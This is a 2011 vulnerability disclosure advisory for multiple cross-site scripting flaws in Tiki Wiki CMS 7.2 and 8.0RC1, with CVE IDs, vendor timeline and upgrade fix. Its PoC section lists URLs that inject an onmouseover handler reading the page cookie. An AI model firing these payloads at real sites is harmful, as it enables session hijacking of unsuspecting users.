Advisory:            Tiki Wiki CMS Groupware Multiple XSS vulnerabilities
Advisory ID:         INFOSERVE-ADV2011-01
Author:              Stefan Schurtz
Contact:             security@infoserve.de
Affected Software:   Successfully tested on Tiki 7.2 & 8.0 RC1
Vendor URL:          http://info.tiki.org/
Vendor Status:       fixed for Tiki 7 (New Tiki 6 LTS release in progress)
CVE-ID:              CVE-2011-4454, CVE-2011-4455

==========================
Vulnerability Description
==========================

All versions of Tiki 6 and Tiki 7 and version Tiki 8.0RC1 are prone to multiple XSS vulnerabilities

==================
PoC-Exploit
==================

8.0RC1

http://<target>/tiki-8.0.RC1/tiki-remind_password.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-8.0.RC1/tiki-index.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-8.0.RC1/tiki-login_scr.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-8.0.RC1/tiki-index/" onmouseover="alert(********.cookie)"

7.2

http://<target>/tiki-7.2/tiki-admin_system.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-7.2/tiki-pagehistory.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-7.2/tiki-removepage.php/" onmouseover="alert(********.cookie)"
http://<target>/tiki-7.2/tiki-rename_page.php/" onmouseover="alert(********.cookie)"

=========
Solution
=========

Upgrade to Tiki 8.1 (End-of-Life for Tiki 7.x)

====================
Disclosure Timeline
====================

02-Nov-2011 - informed Security Team (security@tikiwiki.org)
03-Nov-2011 - feedback from vendor
11-Nov-2011 - release of version 8.1 (End-of-Life for Tiki 7.x)

========
Credits
========

Vulnerabilities found and advisory written by the INFOSERVE Security Team

===========
References
===========

http://info.tiki.org/
http://dev.tiki.org/tiki-view_tracker_item.php?itemId=4027#content1
http://info.tiki.org/article182-Tiki-8-1-Now-Available-End-of-Life-for-Tiki-7-x
http://secunia.com/advisories/46740